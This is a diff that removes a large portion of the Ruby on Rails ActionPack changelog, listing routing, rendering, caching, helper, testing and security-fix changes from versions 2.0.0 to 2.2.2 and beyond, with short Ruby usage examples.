-* Deprecated formatted_polymorphic_url. [Jeremy Kemper]
-
-* Added the option to declare an asset_host as an object that responds to call (see http://github.com/dhh/asset-hosting-with-minimum-ssl for an example) [David Heinemeier Hansson]
-
-* Added support for multiple routes.rb files (useful for plugin engines). This also means that draw will no longer clear the route set, you have to do that by hand (shouldn't make a difference to you unless you're doing some funky stuff) [David Heinemeier Hansson]
-
-* Dropped formatted_* routes in favor of just passing in :format as an option. This cuts resource routes generation in half #1359 [aaronbatalion]
-
-* Remove support for old double-encoded cookies from the cookie store. These values haven't been generated since before 2.1.0, and any users who have visited the app in the intervening 6 months will have had their cookie upgraded. [Michael Koziarski]
-
-* Allow helpers directory to be overridden via ActionController::Base.helpers_dir #1424 [Sam Pohlenz]
-
-* Remove deprecated ActionController::Base#assign_default_content_type_and_charset
-
-* Changed the default of ActionView#render to assume partials instead of files when not given an options hash [David Heinemeier Hansson]. Examples:
-
- # Instead of <%= render :partial => "account" %>
- <%= render "account" %>
-
- # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
- <%= render "account", :account => @buyer %>
-
- # @account is an Account instance, so it uses the RecordIdentifier to replace
- # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
- <%= render(@account) %>
-
- # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
- # <%= render :partial => "posts/post", :collection => @posts %>
- <%= render(@posts) %>
-
-* Remove deprecated render_component. Please use the plugin from http://github.com/rails/render_component/tree/master [Pratik Naik]
-
-* Fixed RedCloth and BlueCloth shouldn't preload. Instead just assume that they're available if you want to use textilize and markdown and let autoload require them [David Heinemeier Hansson]
-
-
-*2.2.2 (November 21st, 2008)*
-
-* I18n: translate number_to_human_size. Add storage_units: [Bytes, KB, MB, GB, TB] to your translations. #1448 [Yaroslav Markin]
-
-* Restore backwards compatible functionality for setting relative_url_root. Include deprecation
-
-* Switched the CSRF module to use the request content type to decide if the request is forgeable. #1145 [Jeff Cohen]
-
-* Added :only and :except to map.resources to let people cut down on the number of redundant routes in an application. Typically only useful for huge routesets. #1215 [Tom Stuart]
-
- map.resources :products, :only => :show do |product|
- product.resources :images, :except => :destroy
- end
-
-* Added render :js for people who want to render inline JavaScript replies without using RJS [David Heinemeier Hansson]
-
-* Fixed that polymorphic_url should compact given array #1317 [hiroshi]
-
-* Fixed the sanitize helper to avoid double escaping already properly escaped entities #683 [antonmos/Ryan McGeary]
-
-* Fixed that FormTagHelper generated illegal html if name contained square brackets #1238 [Vladimir Dobriakov]
-
-* Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 [Bernardo Padua/Tor Erik]
-
-* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [David Heinemeier Hansson]
-
-* Remove the logging of the Session ID when the session store is CookieStore [David Heinemeier Hansson]
-
-* Fixed regex in redirect_to to fully support URI schemes #1247 [Seth Fitzsimmons]
-
-* Fixed bug with asset timestamping when using relative_url_root #1265 [Joe Goldwasser]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections [packagethief]
-
-* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [David Heinemeier Hansson]. Example:
-
- class ArticlesController < ApplicationController
- def show_with_respond_to_block
- @article = Article.find(params[:id])
-
-
- # If the request sends headers that differs from the options provided to stale?, then
- # the request is indeed stale and the respond_to block is triggered (and the options
- # to the stale? call is set on the response).
- #
- # If the request headers match, then the request is fresh and the respond_to block is
- # not triggered. Instead the default render will occur, which will check the last-modified
- # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
- # of rendering the template.
- if stale?(:last_modified => @article.published_at.utc, :etag => @article)
- respond_to do |wants|
- # normal response processing
- end
- end
- end
-
- def show_with_implied_render
- @article = Article.find(params[:id])
-
- # Sets the response headers and checks them against the request, if the request is stale
- # (i.e. no match of either etag or last-modified), then the default render of the template happens.
- # If the request is fresh, then the default render will return a "304 Not Modified"
- # instead of rendering the template.
- fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
- end
- end
-
-
-* Added inline builder yield to atom_feed_helper tags where appropriate [Sam Ruby]. Example:
-
- entry.summary :type => 'xhtml' do |xhtml|
- xhtml.p pluralize(order.line_items.count, "line item")
- xhtml.p "Shipped to #{order.address}"
- xhtml.p "Paid by #{order.pay_type}"
- end
-
-* Make PrototypeHelper#submit_to_remote a wrapper around PrototypeHelper#button_to_remote. [Tarmo Tänav]
-
-* Set HttpOnly for the cookie session store's cookie. #1046
-
-* Added FormTagHelper#image_submit_tag confirm option #784 [Alastair Brunton]
-
-* Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 [Jose Fernandez]
-
-* Stopped logging template compiles as it only clogs up the log [David Heinemeier Hansson]
-
-* Changed the X-Runtime header to report in milliseconds [David Heinemeier Hansson]
-
-* Changed BenchmarkHelper#benchmark to report in milliseconds [David Heinemeier Hansson]
-
-* Changed logging format to be millisecond based and skip misleading stats [David Heinemeier Hansson]. Went from:
-
- Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
-
- ...to:
-
- Completed in 100ms (View: 40, DB: 4) | 200 OK [http://example.com]
-
-* Add support for shallow nesting of routes. #838 [S. Brent Faulkner]
-
- Example :
-
- map.resources :users, :shallow => true do |user|
- user.resources :posts
- end
-
- - GET /users/1/posts (maps to PostsController#index action as usual)
- named route "user_posts" is added as usual.
-
- - GET /posts/2 (maps to PostsController#show action as if it were not nested)
- Additionally, named route "post" is added too.
-
-* Added button_to_remote helper. #3641 [Donald Piret, Tarmo Tänav]
-
-* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik Naik]
-
-* Routes may be restricted to lists of HTTP methods instead of a single method or :any. #407 [Brennan Dunn, Gaius Centus Novus]
- map.resource :posts, :collection => { :search => [:get, :post] }
- map.session 'session', :requirements => { :method => [:get, :post, :delete] }
-
-* Deprecated implicit local assignments when rendering partials [Josh Peek]
-
-* Introduce current_cycle helper method to return the current value without bumping the cycle. #417 [Ken Collins]
-
-* Allow polymorphic_url helper to take url options. #880 [Tarmo Tänav]
-
-* Switched integration test runner to use Rack processor instead of CGI [Josh Peek]
-
-* Made AbstractRequest.if_modified_sense return nil if the header could not be parsed [Jamis Buck]
-
-* Added back ActionController::Base.allow_concurrency flag [Josh Peek]
-
-* AbstractRequest.relative_url_root is no longer automatically configured by a HTTP header. It can now be set in your configuration environment with config.action_controller.relative_url_root [Josh Peek]
-
-* Update Prototype to 1.6.0.2 #599 [Patrick Joyce]
-
-* Conditional GET utility methods. [Jeremy Kemper]
- response.last_modified = @post.updated_at
- response.etag = [:admin, @post, current_user]
-
- if request.fresh?(response)
- head :not_modified
- else
- # render ...
- end
-
-* All 2xx requests are considered successful [Josh Peek]
-
-* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [David Heinemeier Hansson]
-
-* Removed config.action_view.cache_template_loading, use config.cache_classes instead [Josh Peek]
-
-* Get buffer for fragment cache from template's @output_buffer [Josh Peek]
-
-* Set config.action_view.warn_cache_misses = true to receive a warning if you perform an action that results in an expensive disk operation that could be cached [Josh Peek]
-
-* Refactor template preloading. New abstractions include Renderable mixins and a refactored Template class [Josh Peek]
-
-* Changed ActionView::TemplateHandler#render API method signature to render(template, local_assigns = {}) [Josh Peek]
-
-* Changed PrototypeHelper#submit_to_remote to PrototypeHelper#button_to_remote to stay consistent with link_to_remote (submit_to_remote still works as an alias) #8994 [clemens]
-
-* Add :recursive option to javascript_include_tag and stylesheet_link_tag to be used along with :all. #480 [Damian Janowski]
-
-* Allow users to disable the use of the Accept header [Michael Koziarski]
-
- The accept header is poorly implemented by browsers and causes strange
- errors when used on public sites where crawlers make requests too. You
- can use formatted urls (e.g. /people/1.xml) to support API clients in a
- much simpler way.
-
- To disable the header you need to set:
-
- config.action_controller.use_accept_header = false
-
-* Do not stat template files in production mode before rendering. You will no longer be able to modify templates in production mode without restarting the server [Josh Peek]
-
-* Deprecated TemplateHandler line offset [Josh Peek]
-
-* Allow caches_action to accept cache store options. #416. [José Valim]. Example:
-
- caches_action :index, :redirected, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
-
-* Remove define_javascript_functions, javascript_include_tag and friends are far superior. [Michael Koziarski]
-
-* Deprecate :use_full_path render option. The supplying the option no longer has an effect [Josh Peek]
-
-* Add :as option to render a collection of partials with a custom local variable name. #509 [Simon Jefford, Pratik Naik]
-
- render :partial => 'other_people', :collection => @people, :as => :person
-
- This will let you access objects of @people as 'person' local variable inside 'other_people' partial template.
-
-* time_zone_select: support for regexp matching of priority zones. Resolves #195 [Ernie Miller]
-
-* Made ActionView::Base#render_file private [Josh Peek]
-
-* Refactor and simplify the implementation of assert_redirected_to. Arguments are now normalised relative to the controller being tested, not the root of the application. [Michael Koziarski]
-
- This could cause some erroneous test failures if you were redirecting between controllers
- in different namespaces and wrote your assertions relative to the root of the application.
-
-* Remove follow_redirect from controller functional tests.
-
- If you want to follow redirects you can use integration tests. The functional test
- version was only useful if you were using redirect_to :id=>...
-
-* Fix polymorphic_url with singleton resources. #461 [Tammer Saleh]
-
-* Replaced TemplateFinder abstraction with ViewLoadPaths [Josh Peek]
-
-* Added block-call style to link_to [Sam Stephenson/David Heinemeier Hansson]. Example:
-
- <% link_to(@profile) do %>
- <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
- <% end %>
-
-* Performance: integration test benchmarking and profiling. [Jeremy Kemper]
-
-* Make caching more aware of mime types. Ensure request format is not considered while expiring cache. [Jonathan del Strother]
-
-* Drop ActionController::Base.allow_concurrency flag [Josh Peek]
-
-* More efficient concat and capture helpers. Remove ActionView::Base.erb_variable. [Jeremy Kemper]
-
-* Added page.reload functionality. Resolves #277. [Sean Huber]
-
-* Fixed Request#remote_ip to only raise hell if the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR doesn't match (not just if they're both present) [Mark Imbriaco, Bradford Folkens]
-
-* Allow caches_action to accept a layout option [José Valim]
-
-* Added Rack processor [Ezra Zygmuntowicz, Josh Peek]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* InstanceTag#default_time_from_options overflows to DateTime [Geoff Buesing]
-
-* Fixed that forgery protection can be used without session tracking (Peter Jones) [#139]
-
-* Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) [#136]
-
-* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [Rick Olson]
-* InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap [Geoff Buesing]
-
-* select_date defaults to Time.zone.today when config.time_zone is set [Geoff Buesing]
-
-* Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) [#80]
-
-* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [David Heinemeier Hansson]
-
-* Reduce number of instance variables being copied from controller to view. [Pratik Naik]
-
-* select_datetime and select_time default to Time.zone.now when config.time_zone is set [Geoff Buesing]
-
-* datetime_select defaults to Time.zone.now when config.time_zone is set [Geoff Buesing]
-
-* Remove ActionController::Base#view_controller_internals flag. [Pratik Naik]
-
-* Add conditional options to caches_page method. [Paul Horsfall]
-
-* Move missing template logic to ActionView. [Pratik Naik]
-
-* Introduce ActionView::InlineTemplate class. [Pratik Naik]
-
-* Automatically parse posted JSON content for Mime::JSON requests. [Rick Olson]
-
- POST /posts
- {"post": {"title": "Breaking News"}}
-
- def create
- @post = Post.create params[:post]
- # ...
- end
-
-* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [Rick Olson]
-
-* Provide a helper proxy to access helper methods from outside views. Closes #10839 [Josh Peek]
- e.g. ApplicationController.helpers.simple_format(text)
-
-* Improve documentation. [Xavier Noria, leethal, jerome]
-
-* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [Josh Peek, eventualbuddha, Pratik Naik]
-
-* Support render :partial => collection of heterogeneous elements. #11491 [Zach Dennis]
-
-* Avoid remote_ip spoofing. [Brian Candler]
-
-* Added support for regexp flags like ignoring case in the :requirements part of routes declarations #11421 [NeilW]
-
-* Fixed that ActionController::Base#read_multipart would fail if boundary was exactly 10240 bytes #10886 [ariejan]
-
-* Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 [esad, packagethief]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert]
-
-* Fixed that FormHelper#radio_button would produce invalid ids #11298 [harlancrystal]
-
-* Added :confirm option to submit_tag #11415 [Emilio Tagua]
-
-* Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) [zhangyuanyi]
-
-* Allow the #simple_format text_helper to take an html_options hash for each paragraph. #2448 [François Beausoleil, Chris O'Sullivan]
-
-* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice. [Rick Olson]
-
-* Refactor filters to use Active Support callbacks. #11235 [Josh Peek]
-
-* Fixed that polymorphic routes would modify the input array #11363 [thomas.lee]
-
-* Added :format option to NumberHelper#number_to_currency to enable better localization support #11149 [lylo]
-
-* Fixed that TextHelper#excerpt would include one character too many #11268 [Irfy]
-
-* Fix more obscure nested parameter hash parsing bug. #10797 [thomas.lee]
-
-* Added ActionView::Helpers::register_javascript/stylesheet_expansion to make it easier for plugin developers to inject multiple assets. #10350 [lotswholetime]
-
-* Fix nested parameter hash parsing bug. #10797 [thomas.lee]
-
-* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [Eloy Duran]
-
-* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [David Heinemeier Hansson]
-
-* Make MimeResponds::Responder#any work without explicit types. Closes #11140 [jaw6]
-
-* Better error message for type conflicts when parsing params. Closes #7962 [spicycode, matt]
-
-* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik Naik]
-
-* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik Naik]
-
-* Tests for div_for and content_tag_for helpers. Closes #11223 [Chris O'Sullivan]
-
-* Allow file uploads in Integration Tests. Closes #11091 [RubyRedRick]
-
-* Refactor partial rendering into a PartialTemplate class. [Pratik Naik]
-
-* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block [David Heinemeier Hansson]
-
-* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [Ernesto Jimenez]
-
-* Remove support for multivalued (e.g., '&'-delimited) cookies. [Jamis Buck]
-
-* Fix problem with render :partial collections, records, and locals. #11057 [lotswholetime]
-
-* Added support for naming concrete classes in sweeper declarations [David Heinemeier Hansson]
-
-* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application. #10098 [Tim Pope, Chris Kampmeier]
-
-* Fix typo in form_helper documentation. #10650 [Xavier Shay, Chris Kampmeier]
-
-* Fix bug with setting Request#format= after the getter has cached the value. #10889 [cch1]
-
-* Correct inconsistencies in RequestForgeryProtection docs. #11032 [Mislav Marohnić]
-
-* Introduce a Template class to ActionView. #11024 [Pratik Naik]
-
-* Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75). #9883 [rmm5t]
-
-* Introduce map.resources :cards, :as => 'tarjetas' to use a custom resource name in the URL: cards_path == '/tarjetas'. #10578 [blj]
-
-* TestSession supports indifferent access. #7372 [tamc, Arsen7, mhackett, julik, jean.helou]
-
-* Make assert_routing aware of the HTTP method used. #8039 [mpalmer]
- e.g. assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
-
-* Make map.root accept a single symbol as an argument to declare an alias. #10818 [bscofield]
-
- e.g. map.dashboard '/dashboard', :controller=>'dashboard'
- map.root :dashboard
-
-* Handle corner case with image_tag when passed 'messed up' image names. #9018 [Duncan Beevers, mpalmer]
-
-* Add label_tag helper for generating elements. #10802 [DefV]
-
-* Introduce TemplateFinder to handle view paths and lookups. #10800 [Pratik Naik]
-
-* Performance: optimize route recognition. Large speedup for apps with many resource routes. #10835 [oleganza]
-
-* Make render :partial recognise form builders and use the _form partial. #10814 [Damian Janowski]
-
-* Allow users to declare other namespaces when using the atom feed helpers. #10304 [david.calavera]
-
-* Introduce send_file :x_sendfile => true to send an X-Sendfile response header. [Jeremy Kemper]
-
-* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [Jeremy Evans]
-
-* Provide nicer access to HTTP Headers. Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Michael Koziarski]
-
-* UrlWriter respects relative_url_root. #10748 [Cheah Chu Yeow]
-
-* The asset_host block takes the controller request as an optional second argument. Example: use a single asset host for SSL requests. #10549 [Cheah Chu Yeow, Peter B, Tom Taylor]
-
-* Support render :text => nil. #6684 [tjennings, PotatoSalad, Cheah Chu Yeow]
-
-* assert_response failures include the exception message. #10688 [Seth Rasmussen]
-
-* All fragment cache keys are now by default prefixed with the "views/" namespace [David Heinemeier Hansson]
-
-* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [David Heinemeier Hansson]
-
-* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [David Heinemeier Hansson]
-
-* Made fragment caching in views work for rjs and builder as well #6642 [Dee Zsombor]
-
-* Fixed rendering of partials with layout when done from site layout #9209 [antramm]
-
-* Fix atom_feed_helper to comply with the atom spec. Closes #10672 [Xavier Shay]
-
- * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html)
- * IDs are not guaranteed unique
- * A default self link was not provided, contrary to the documentation
- * NOTE: This changes tags for existing atom entries, but at least they validate now.
-
-* Correct indentation in tests. Closes #10671 [Luca Guidi]
-
-* Fix that auto_link looks for ='s in url paths (Amazon urls have them). Closes #10640 [Brad Greenlee]
-
-* Ensure that test case setup is run even if overridden. #10382 [Josh Peek]
-
-* Fix HTML Sanitizer to allow trailing spaces in CSS style attributes. Closes #10566 [wesley.moxam]
-
-* Add :default option to time_zone_select. #10590 [Matt Aimonetti]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Added delete_via_redirect and put_via_redirect to integration testing #10497 [philodespotos]
-
-* Allow headers['Accept'] to be set by hand when calling xml_http_request #10461 [BMorearty]
-
-* Added OPTIONS to list of default accepted HTTP methods #10449 [holoway]
-
-* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [Cheah Chu Yeow]. Example:
-
- ActionController::Base.asset_host = Proc.new { |source|
- if source.starts_with?('/images')
- "http://images.example.com"
- else
- "http://assets.example.com"
- end
- }
-
-* Fixed that ActionView#file_exists? would be incorrect if @first_render is set #10569 [dbussink]
-
-* Added that Array#to_param calls to_param on all it's elements #10473 [brandon]
-
-* Ensure asset cache directories are automatically created. #10337 [Josh Peek, Cheah Chu Yeow]
-
-* render :xml and :json preserve custom content types. #10388 [jmettraux, Cheah Chu Yeow]
-
-* Refactor Action View template handlers. #10437, #10455 [Josh Peek]
-
-* Fix DoubleRenderError message and leave out mention of returning false from filters. Closes #10380 [Frederick Cheung]
-
-* Clean up some cruft around ActionController::Base#head. Closes #10417 [ssoroka]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Fixed send_file/binary_content for testing #8044 [tolsen]
-
-* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [Jack Danger Canty]
-
-* Update Prototype to 1.6.0.1. [sam]
-
-* Update script.aculo.us to 1.8.0.1. [madrobby]
-
-* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects. Closes #10354 [Josh Susser]
-
-* Added the same record identification guessing rules to fields_for as form_for has [David Heinemeier Hansson]
-
-* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) [David Heinemeier Hansson]
-
-* Raise UnknownHttpMethod exception for unknown HTTP methods. Closes #10303 [Tarmo Tänav]
-
-* Update to Prototype -r8232. [sam]
-
-* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Michael Koziarski] #10292
-
-* Added protection from trailing slashes on page caching #10229 [devrieda]
-
-* Asset timestamps are appended, not prepended. Closes #10276 [Mike Naberezny]
-
-* Minor inconsistency in description of render example. Closes #10029 [ScottSchram]
-
-* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods. [Rick Olson]
-
-* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations. Closes #10129. [Rick Olson]
-
-* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial [Rick Olson]
-
-* Fix TemplateError so it doesn't bomb on exceptions while running tests [Rick Olson]
-
-* Fixed that named routes living under resources shouldn't have double slashes #10198 [Isaac Feliu]
-
-* Make sure that cookie sessions use a secret that is at least 30 chars in length. [Michael Koziarski]
-
-* Fixed that partial rendering should look at the type of the first render to determine its own type if no other clues are available (like when using text.plain.erb as the extension in AM) #10130 [java]
-
-* Fixed that has_many :through associations should render as collections too #9051 [mathie/Jack Danger Canty]
-
-* Added :mouseover short-cut to AssetTagHelper#image_tag for doing easy image swaps #6893 [joost]
-
-* Fixed handling of non-domain hosts #9479 [purp]
-
-* Fix syntax error in documentation example for cycle method. Closes #8735 [foca]
-
-* Document :with option for link_to_remote. Closes #8765 [Ryan Bates]
-
-* Document :minute_step option for time_select. Closes #8814 [brupm]
-
-* Explain how to use the :href option for link_to_remote to degrade gracefully in the absence of JavaScript. Closes #8911 [vlad]
-
-* Disambiguate :size option for text area tag. Closes #8955 [redbeard]
-
-* Fix broken tag in assert_tag documentation. Closes #9037 [mfazekas]
-
-* Add documentation for route conditions. Closes #9041 [innu, Manfred Stienstra]
-
-* Fix typo left over from previous typo fix in url helper. Closes #9414 [Henrik N]
-
-* Fixed that ActionController::CgiRequest#host_with_port() should handle standard port #10082 [moro]
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. [sam, madrobby]
-
-* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) [David Heinemeier Hansson]
-
-* Integration tests: get_ and post_via_redirect take a headers hash. #9130 [simonjefford]
-
-* Simplfy #view_paths implementation. ActionView templates get the exact object, not a dup. [Rick Olson]
-
-* Update tests for ActiveSupport's JSON escaping change. [Rick Olson]
-
-* FormHelper's auto_index should use #to_param instead of #id_before_type_cast. Closes #9994 [mattly]
-
-* Doc typo fixes for ActiveRecordHelper. Closes #9973 [mikong]
-
-* Make example parameters in restful routing docs idiomatic. Closes #9993 [Jack Danger Canty]
-
-* Make documentation comment for mime responders match documentation example. Closes #9357 [yon]
-
-* Introduce a new test case class for functional tests. ActionController::TestCase. [Michael Koziarski]
-
-* Fix incorrect path in helper rdoc. Closes #9926 [viktor tron]
-
-* Partials also set 'object' to the default partial variable. #8823 [Nick Retallack, Jeremy Kemper]
-
-* Request profiler. [Jeremy Kemper]
- $ cat login_session.rb
- get_with_redirect '/'
- say "GET / => #{path}"
- post_with_redirect '/sessions', :username => 'john', :password => 'doe'
- say "POST /sessions => #{path}"
- $ ./script/performance/request -n 10 login_session.rb
-
-* Disabled checkboxes don't submit a form value. #9301 [vladr, robinjfisher]
-
-* Added tests for options to ActiveRecordHelper#form. Closes #7213 [richcollins, mikong, Mislav Marohnić]
-
-* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false [David Heinemeier Hansson]
-
-* Ensure that cookies handle array values correctly. Closes #9937 [queso]
-
-* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc. #9928 [Geoff Buesing]
-
-* caches_page uses a single after_filter instead of one per action. #9891 [Pratik Naik]
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. [sam, madrobby]
-
-* Dispatcher: fix that to_prepare should only run once in production. #9889 [Nathaniel Talbott]
-
-* Memcached sessions: add session data on initialization; don't silently discard exceptions; add unit tests. #9823 [kamk]
-
-* error_messages_for also takes :message and :header_message options which defaults to the old "There were problems with the following fields:" and "<count> errors prohibited this <object_name> from being saved". #8270 [rmm5t, zach-inglis-lt3]
-
-* Make sure that custom inflections are picked up by map.resources. #9815 [Mislav Marohnić]
-
-* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call [David Heinemeier Hansson]
-
-* Extracted sanitization methods from TextHelper to SanitizeHelper [David Heinemeier Hansson]
-
-* rescue_from accepts :with => lambda { |exception| ... } or a normal block. #9827 [Pratik Naik]
-
-* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 [Coda Hale, chasgrundy]
-
-* Add link_to :back which uses your referrer with a fallback to a javascript link. #7366 [eventualbuddha, Tarmo Tänav]
-
-* error_messages_for and friends also work with local variables. #9699 [Frederick Cheung]
-
-* Fix url_for, redirect_to, etc. with :controller => :symbol instead of 'string'. #8562, #9525 [Justin Lynn, Tarmo Tänav, shoe]
-
-* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores. Closes #8662. [Rick Olson]
-
-* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes. Now you can set it in the config. [Rick Olson]
-
- config.action_controller.optimise_named_routes = false
-
-* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape. [Rick Olson]
-
-* Only accept session ids from cookies, prevents session fixation attacks. [bradediger]
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.12.2 - 1.13.3]
-
-* Fixed that render template did not honor exempt_from_layout #9698 [pezra]
-
-* Better error messages if you leave out the :secret option for request forgery protection. Closes #9670 [Rick Olson]
-
-* Allow ability to disable request forgery protection, disable it in test mode by default. Closes #9693 [Pratik Naik]
-
-* Avoid calling is_missing on LoadErrors. Closes #7460. [ntalbott]
-
-* Move Railties' Dispatcher to ActionController::Dispatcher, introduce before_ and after_dispatch callbacks, and warm up to non-CGI requests. [Jeremy Kemper]
-
-* The tag helper may bypass escaping. [Jeremy Kemper]
-
-* Cache asset ids. [Jeremy Kemper]
-
-* Optimized named routes respect AbstractRequest.relative_url_root. #9612 [Daniel Morrison, Jeremy Kemper]
-
-* Introduce ActionController::Base.rescue_from to declare exception-handling methods. Cleaner style than the case-heavy rescue_action_in_public. #9449 [Norbert Crombach]
-
-* Rename some RequestForgeryProtection methods. The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'. [Rick Olson]
-
-* Merge csrf_killer plugin into rails. Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests. [Rick Olson]
-
-* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks. Closes #8877. [Rick Olson, Pratik Naik, Jacques Distler]
-
- This merges and renames the popular white_list helper (along with some css sanitizing from Jacques Distler version of the same plugin).
- Also applied updated versions of #strip_tags and #strip_links from #8877.
-
-* Remove use of & logic operator. Closes #8114. [watson]
-
-* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 [Ruy Asan]
-
-* Fixed TextHelper#word_wrap for multiline strings with extra carrier returns #8663 [seth]
-
-* Fixed that setting the :host option in url_for would automatically turn off :only_path (since :host would otherwise not be shown) #9586 [Bounga]
-
-* Added FormHelper#label. #8641, #9850 [jcoglan, Jarkko Laine]
-
-* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) [David Heinemeier Hansson]
-
-* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar). map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item. [Michael Koziarski]
-
-* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 [Pratik Naik, Mark Somerville]
-
-* Don't warn when a path segment precedes a required segment. Closes #9615. [Nicholas Seckar]
-
-* Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 [sandofsky/wildchild].
-
-* Added Mime::Type.register_alias for dealing with different formats using the same mime type [David Heinemeier Hansson]. Example:
-
- class PostsController < ApplicationController
- before_filter :adjust_format_for_iphone
-
- def index
- @posts = Post.find(:all)
-
- respond_to do |format|
- format.html # => renders index.html.erb and uses "text/html" as the content type
- format.iphone # => renders index.iphone.erb and uses "text/html" as the content type
- end
- end
-
-
- private
- def adjust_format_for_iphone
- if request.env["HTTP_USER_AGENT"] && request.env["HTTP_USER_AGENT"][/iPhone/]
- request.format = :iphone
- end
- end
- end
-
-* Added that render :json will automatically call .to_json unless it's being passed a string [David Heinemeier Hansson].
-
-* Autolink behaves well with emails embedded in URLs. #7313 [Jeremy McAnally, Tarmo Tänav]
-
-* Fixed that default layouts did not take the format into account #9564 [Pratik Naik]
-
-* Fixed optimized route segment escaping. #9562 [wildchild, Jeremy Kemper]
-
-* Added block acceptance to JavaScriptHelper#javascript_tag. #7527 [Bob Silva, Tarmo Tänav, rmm5t]
-
-* root_path returns '/' not ''. #9563 [Pratik Naik]
-
-* Fixed that setting request.format should also affect respond_to blocks [David Heinemeier Hansson]
-
-* Add option to force binary mode on tempfile used for fixture_file_upload. #6380 [Jonathan Viney]
-
-* Fixed that resource namespaces wouldn't stick to all nested resources #9399 [pixeltrix]
-
-* Moved ActionController::Macros::AutoComplete into the auto_complete plugin on the official Rails svn. #9512 [Pratik Naik]
-
-* Moved ActionController::Macros::InPlaceEditing into the in_place_editor plugin on the official Rails svn. #9513 [Pratik Naik]
-
